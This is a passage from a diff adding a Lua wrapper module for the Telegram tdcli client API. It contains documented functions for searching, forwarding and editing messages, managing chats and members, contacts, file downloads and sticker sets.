searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter + }, dl_cb, cmd) +end + +M.answerInlineQuery = answerInlineQuery + +-- Sends callback query to a bot and returns answer to it. +-- Unavailable for bots +-- @chat_id Identifier of the chat with a message +-- @message_id Identifier of the message, from which the query is originated +-- @payload Query payload +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url URL to be open +local function getCallbackQueryAnswer(chat_id, message_id, text, show_alert, url, dl_cb, cmd) + tdcli_function ({ + ID = "GetCallbackQueryAnswer", + chat_id_ = chat_id, + message_id_ = message_id, + payload_ = { + ID = "CallbackQueryAnswer", + text_ = text, + show_alert_ = show_alert, + url_ = url + }, + }, dl_cb, cmd) +end + +M.getCallbackQueryAnswer = getCallbackQueryAnswer + +-- Bots only. +-- Sets result of the callback query +-- @callback_query_id Identifier of the callback query +-- @text Text of the answer +-- @show_alert If true, an alert should be shown to the user instead of a toast +-- @url Url to be opened +-- @cache_time Allowed time to cache result of the query in seconds +local function answerCallbackQuery(callback_query_id, text, show_alert, url, cache_time, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerCallbackQuery", + callback_query_id_ = callback_query_id, + text_ = text, + show_alert_ = show_alert, + url_ = url, + cache_time_ = cache_time + }, dl_cb, cmd) +end + +M.answerCallbackQuery = answerCallbackQuery + +-- Bots only. +-- Updates game score of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setGameScore(chat_id, message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetGameScore", + chat_id_ = chat_id, + message_id_ = message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setGameScore = setGameScore + +-- Bots only. +-- Updates game score of the specified user in the game +-- @inline_message_id Inline message identifier +-- @edit_message True, if message should be edited +-- @user_id User identifier +-- @score New score +-- @force Pass True to update the score even if it decreases. If score is 0, user will be deleted from the high scores table +local function setInlineGameScore(inline_message_id, edit_message, user_id, score, force, dl_cb, cmd) + tdcli_function ({ + ID = "SetInlineGameScore", + inline_message_id_ = inline_message_id, + edit_message_ = edit_message, + user_id_ = user_id, + score_ = score, + force_ = force + }, dl_cb, cmd) +end + +M.setInlineGameScore = setInlineGameScore + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @chat_id Chat a message with the game belongs to +-- @message_id Identifier of the message +-- @user_id User identifie +local function getGameHighScores(chat_id, message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGameHighScores", + chat_id_ = chat_id, + message_id_ = message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getGameHighScores = getGameHighScores + +-- Bots only. +-- Returns game high scores and some part of the score table around of the specified user in the game +-- @inline_message_id Inline message identifier +-- @user_id User identifier +local function getInlineGameHighScores(inline_message_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineGameHighScores", + inline_message_id_ = inline_message_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getInlineGameHighScores = getInlineGameHighScores + +-- Deletes default reply markup from chat. +-- This method needs to be called after one-time keyboard or ForceReply reply markup has been used. +-- UpdateChatReplyMarkup will be send if reply markup will be changed +-- @chat_id Chat identifier +-- @message_id Message identifier of used keyboard +local function deleteChatReplyMarkup(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatReplyMarkup", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.deleteChatReplyMarkup = deleteChatReplyMarkup + +-- Sends notification about user activity in a chat +-- @chat_id Chat identifier +-- @action Action description +-- action = Typing|Cancel|RecordVideo|UploadVideo|RecordVoice|UploadVoice|UploadPhoto|UploadDocument|GeoLocation|ChooseContact|StartPlayGame +local function sendChatAction(chat_id, action, progress, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatAction", + chat_id_ = chat_id, + action_ = { + ID = "SendMessage" .. action .. "Action", + progress_ = progress or 100 + } + }, dl_cb, cmd) +end + +M.sendChatAction = sendChatAction + +-- Sends notification about screenshot taken in a chat. +-- Works only in secret chats +-- @chat_id Chat identifier +local function sendChatScreenshotTakenNotification(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatScreenshotTakenNotification", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.sendChatScreenshotTakenNotification = sendChatScreenshotTakenNotification + +-- Chat is opened by the user. +-- Many useful activities depends on chat being opened or closed. For example, in channels all updates are received only for opened chats +-- @chat_id Chat identifier +local function openChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.openChat = openChat + +-- Chat is closed by the user. +-- Many useful activities depends on chat being opened or closed. +-- @chat_id Chat identifier +local function closeChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.closeChat = closeChat + +-- Messages are viewed by the user. +-- Many useful activities depends on message being viewed. For example, marking messages as read, incrementing of view counter, updating of view counter, removing of deleted messages in channels +-- @chat_id Chat identifier +-- @message_ids Identifiers of viewed messages +local function viewMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.viewMessages = viewMessages + +-- Message content is opened, for example the user has opened a photo, a video, a document, a location or a venue or have listened to an audio or a voice message +-- @chat_id Chat identifier of the message +-- @message_id Identifier of the message with opened content +local function openMessageContent(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "OpenMessageContent", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.openMessageContent = openMessageContent + +-- Returns existing chat corresponding to the given user +-- @user_id User identifier +local function createPrivateChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreatePrivateChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createPrivateChat = createPrivateChat + +-- Returns existing chat corresponding to the known group +-- @group_id Group identifier +local function createGroupChat(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateGroupChat", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.createGroupChat = createGroupChat + +-- Returns existing chat corresponding to the known channel +-- @channel_id Channel identifier +local function createChannelChat(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateChannelChat", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.createChannelChat = createChannelChat + +-- Returns existing chat corresponding to the known secret chat +-- @secret_chat_id SecretChat identifier +local function createSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.createSecretChat = createSecretChat + +-- Creates new group chat and send corresponding messageGroupChatCreate, returns created chat +-- @user_ids Identifiers of users to add to the group +-- @title Title of new group chat, 0-255 characters +local function createNewGroupChat(user_ids, title, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewGroupChat", + user_ids_ = user_ids, -- vector + title_ = title + }, dl_cb, cmd) +end + +M.createNewGroupChat = createNewGroupChat + +-- Creates new channel chat and send corresponding messageChannelChatCreate, returns created chat +-- @title Title of new channel chat, 0-255 characters +-- @is_supergroup True, if supergroup chat should be created +-- @about Information about the channel, 0-255 characters +local function createNewChannelChat(title, is_supergroup, about, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewChannelChat", + title_ = title, + is_supergroup_ = is_supergroup, + about_ = about + }, dl_cb, cmd) +end + +M.createNewChannelChat = createNewChannelChat + +-- Creates new secret chat, returns created chat +-- @user_id Identifier of a user to create secret chat with +local function createNewSecretChat(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "CreateNewSecretChat", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.createNewSecretChat = createNewSecretChat + +-- Creates new channel supergroup chat from existing group chat and send corresponding messageChatMigrateTo and messageChatMigrateFrom. Deactivates group +-- @chat_id Group chat identifier +local function migrateGroupChatToChannelChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "MigrateGroupChatToChannelChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.migrateGroupChatToChannelChat = migrateGroupChatToChannelChat + +-- Changes chat title. +-- Title can't be changed for private chats. +-- Title will not change until change will be synchronized with the server. +-- Title will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the title on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @title New title of a chat, 0-255 characters +local function changeChatTitle(chat_id, title, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatTitle", + chat_id_ = chat_id, + title_ = title + }, dl_cb, cmd) +end + +M.changeChatTitle = changeChatTitle + +-- Changes chat photo. +-- Photo can't be changed for private chats. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- There will be update about change of the photo on success. Otherwise error will be returned +-- @chat_id Chat identifier +-- @photo New chat photo. You can use zero InputFileId to delete photo. Files accessible only by HTTP URL are not acceptable +local function changeChatPhoto(chat_id, photo, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatPhoto", + chat_id_ = chat_id, + photo_ = getInputFile(photo) + }, dl_cb, cmd) +end + +M.changeChatPhoto = changeChatPhoto + +-- Changes chat draft message +-- @chat_id Chat identifier +-- @draft_message New draft message, nullable +local function changeChatDraftMessage(chat_id, reply_to_message_id, text, disable_web_page_preview, clear_draft, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "ChangeChatDraftMessage", + chat_id_ = chat_id, + draft_message_ = { + ID = "DraftMessage", + reply_to_message_id_ = reply_to_message_id, + input_message_text_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = clear_draft, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, + }, dl_cb, cmd) +end + +M.changeChatDraftMessage = changeChatDraftMessage + +-- Adds new member to chat. +-- Members can't be added to private or secret chats. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to add +-- @forward_limit Number of previous messages from chat to forward to new member, ignored for channel chats +local function addChatMember(chat_id, user_id, forward_limit, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMember", + chat_id_ = chat_id, + user_id_ = user_id, + forward_limit_ = forward_limit or 50 + }, dl_cb, cmd) +end + +M.addChatMember = addChatMember + +-- Adds many new members to the chat. +-- Currently, available only for channels. +-- Can't be used to join the channel. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_ids Identifiers of the users to add +local function addChatMembers(chat_id, user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "AddChatMembers", + chat_id_ = chat_id, + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.addChatMembers = addChatMembers + +-- Changes status of the chat member, need appropriate privileges. +-- In channel chats, user will be added to chat members if he is yet not a member and there is less than 200 members in the channel. +-- Status will not be changed until chat state will be synchronized with the server. +-- Status will not be changed if application is killed before it can send request to the server +-- @chat_id Chat identifier +-- @user_id Identifier of the user to edit status, bots can be editors in the channel chats +-- @status New status of the member in the chat +-- status = Creator|Editor|Moderator|Member|Left|Kicked +local function changeChatMemberStatus(chat_id, user_id, status, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatMemberStatus", + chat_id_ = chat_id, + user_id_ = user_id, + status_ = { + ID = "ChatMemberStatus" .. status + }, + }, dl_cb, cmd) +end + +M.changeChatMemberStatus = changeChatMemberStatus + +-- Returns information about one participant of the chat +-- @chat_id Chat identifier +-- @user_id User identifier +local function getChatMember(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatMember", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getChatMember = getChatMember + +-- Asynchronously downloads file from cloud. +-- Updates updateFileProgress will notify about download progress. +-- Update updateFile will notify about successful download +-- @file_id Identifier of file to download +local function downloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "DownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.downloadFile = downloadFile + +-- Stops file downloading. +-- If file already downloaded do nothing. +-- @file_id Identifier of file to cancel download +local function cancelDownloadFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "CancelDownloadFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.cancelDownloadFile = cancelDownloadFile + +-- Next part of a file was generated +-- @generation_id Identifier of the generation process +-- @ready Number of bytes already generated. Negative number means that generation has failed and should be terminated +local function setFileGenerationProgress(generation_id, ready, dl_cb, cmd) + tdcli_function ({ + ID = "SetFileGenerationProgress", + generation_id_ = generation_id, + ready_ = ready + }, dl_cb, cmd) +end + +M.setFileGenerationProgress = setFileGenerationProgress + +-- Finishes file generation +-- @generation_id Identifier of the generation process +local function finishFileGeneration(generation_id, dl_cb, cmd) + tdcli_function ({ + ID = "FinishFileGeneration", + generation_id_ = generation_id + }, dl_cb, cmd) +end + +M.finishFileGeneration = finishFileGeneration + +-- Generates new chat invite link, previously generated link is revoked. +-- Available for group and channel chats. +-- Only creator of the chat can export chat invite link +-- @chat_id Chat identifier +local function exportChatInviteLink(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "ExportChatInviteLink", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.exportChatInviteLink = exportChatInviteLink + +-- Checks chat invite link for validness and returns information about the corresponding chat +-- @invite_link Invite link to check. Should begin with "https://telegram.me/joinchat/" +local function checkChatInviteLink(link, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChatInviteLink", + invite_link_ = link + }, dl_cb, cmd) +end + +M.checkChatInviteLink = checkChatInviteLink + +-- Imports chat invite link, adds current user to a chat if possible. +-- Member will not be added until chat state will be synchronized with the server. +-- Member will not be added if application is killed before it can send request to the server +-- @invite_link Invite link to import. Should begin with "https://telegram.me/joinchat/" +local function importChatInviteLink(invite_link, dl_cb, cmd) + tdcli_function ({ + ID = "ImportChatInviteLink", + invite_link_ = invite_link + }, dl_cb, cmd) +end + +M.importChatInviteLink = importChatInviteLink + +-- Adds user to black list +-- @user_id User identifier +local function blockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "BlockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.blockUser = blockUser + +-- Removes user from black list +-- @user_id User identifier +local function unblockUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnblockUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.unblockUser = unblockUser + +-- Returns users blocked by the current user +-- @offset Number of users to skip in result, must be non-negative +-- @limit Maximum number of users to return, can't be greater than 100 +local function getBlockedUsers(offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetBlockedUsers", + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getBlockedUsers = getBlockedUsers + +-- Adds new contacts/edits existing contacts, contacts user identifiers are ignored. +-- Returns list of corresponding users in the same order as input contacts. +-- If contact doesn't registered in Telegram, user with id == 0 will be returned +-- @contacts List of contacts to import/edit +local function importContacts(phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "ImportContacts", + contacts_ = {[0] = { + phone_number_ = tostring(phone_number), + first_name_ = tostring(first_name), + last_name_ = tostring(last_name), + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.importContacts = importContacts + +-- Searches for specified query in the first name, last name and username of the known user contacts +-- @query Query to search for, can be empty to return all contacts +-- @limit Maximum number of users to be returned +local function searchContacts(query, limit, dl_cb, cmd) + tdcli_function ({ + ID = "SearchContacts", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchContacts = searchContacts + +-- Deletes users from contacts list +-- @user_ids Identifiers of users to be deleted +local function deleteContacts(user_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteContacts", + user_ids_ = user_ids -- vector + }, dl_cb, cmd) +end + +M.deleteContacts = deleteContacts + +-- Returns profile photos of the user. +-- Result of this query can't be invalidated, so it must be used with care +-- @user_id User identifier +-- @offset Photos to skip, must be non-negative +-- @limit Maximum number of photos to be returned, can't be greater than 100 +local function getUserProfilePhotos(user_id, offset, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserProfilePhotos", + user_id_ = user_id, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getUserProfilePhotos = getUserProfilePhotos + +-- Returns stickers corresponding to given emoji +-- @emoji String representation of emoji. If empty, returns all known stickers +local function getStickers(emoji, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickers", + emoji_ = emoji + }, dl_cb, cmd) +end + +M.getStickers = getStickers + +-- Returns list of installed sticker sets without archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +local function getStickerSets(is_masks, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSets", + is_masks_ = is_masks + }, dl_cb, cmd) +end + +M.getStickerSets = getStickerSets + +-- Returns list of archived sticker sets +-- @is_masks Pass true to return masks, pass false to return stickers +-- @offset_sticker_set_id Identifier of the sticker set from which return the result +-- @limit Maximum number of sticker sets to return +local function getArchivedStickerSets(is_masks, offset_sticker_set_id, limit, dl_cb, cmd) + tdcli_function ({ + ID = "GetArchivedStickerSets", + is_masks_ = is_masks, + offset_sticker_set_id_ = offset_sticker_set_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getArchivedStickerSets = getArchivedStickerSets + +-- Returns list of trending sticker sets +local function getTrendingStickerSets(dl_cb, cmd) + tdcli_function ({ + ID = "GetTrendingStickerSets" + }, dl_cb, cmd) +end + +M.getTrendingStickerSets = getTrendingStickerSets + +-- Returns list of sticker sets attached to a file, currently only photos and videos can have attached sticker sets +-- @file_id File identifier +local function getAttachedStickerSets(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetAttachedStickerSets", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getAttachedStickerSets = getAttachedStickerSets + +-- Returns information about sticker set by its identifier +-- @set_id Identifier of the sticker set +local function getStickerSet(set_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerSet", + set_id_ = set_id + }, dl_cb, cmd) +end + +M.getStickerSet = getStickerSet + +-- Searches sticker set by its short name +-- @name Name of the sticker set +local function searchStickerSet(name, dl_cb, cmd) + tdcli_function ({ + ID = "SearchStickerSet", + name_ = name + }, dl_cb, cmd) +end + +M.searchStickerSet = searchStickerSet + +-- Installs/uninstalls or enables/archives sticker set. +-- Official sticker set can't be uninstalled, but it can be archived +-- @set_id Identifier of the sticker set +-- @is_installed New value of is_installed +-- @is_archived New value of is_archived +local function updateStickerSet(set_id, is_installed, is_archived, dl_cb, cmd) + tdcli_function ({ + ID = "UpdateStickerSet", + set_id_ = set_id, + is_installed_ = is_installed, + is_archived_ = is_archived + }, dl_cb, cmd) +end + +M.updateStickerSet = updateStickerSet + +-- Trending sticker sets are viewed by the user +-- @sticker_set_ids Identifiers of viewed trending sticker sets +local function viewTrendingStickerSets(sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ViewTrendingStickerSets", + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.viewTrendingStickerSets = viewTrendingStickerSets + +-- Changes the order of installed sticker sets +-- @is_masks Pass true to change masks order, pass false to change stickers order +-- @sticker_set_ids Identifiers of installed sticker sets in the new right order +local function reorderStickerSets(is_masks, sticker_set_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReorderStickerSets", + is_masks_ = is_masks, + sticker_set_ids_ = sticker_set_ids -- vector + }, dl_cb, cmd) +end + +M.reorderStickerSets = reorderStickerSets + +-- Returns list of recently used stickers +-- @is_attached Pass true to return stickers and masks recently attached to photo or video files, pass false to return recently sent stickers +local function getRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.getRecentStickers = getRecentStickers + +-- Manually adds new sticker to the list of recently used stickers. +-- New sticker is added to the beginning of the list. +-- If the sticker is already in the list, at first it is removed from the list +-- @is_attached Pass true to add the sticker to the list of 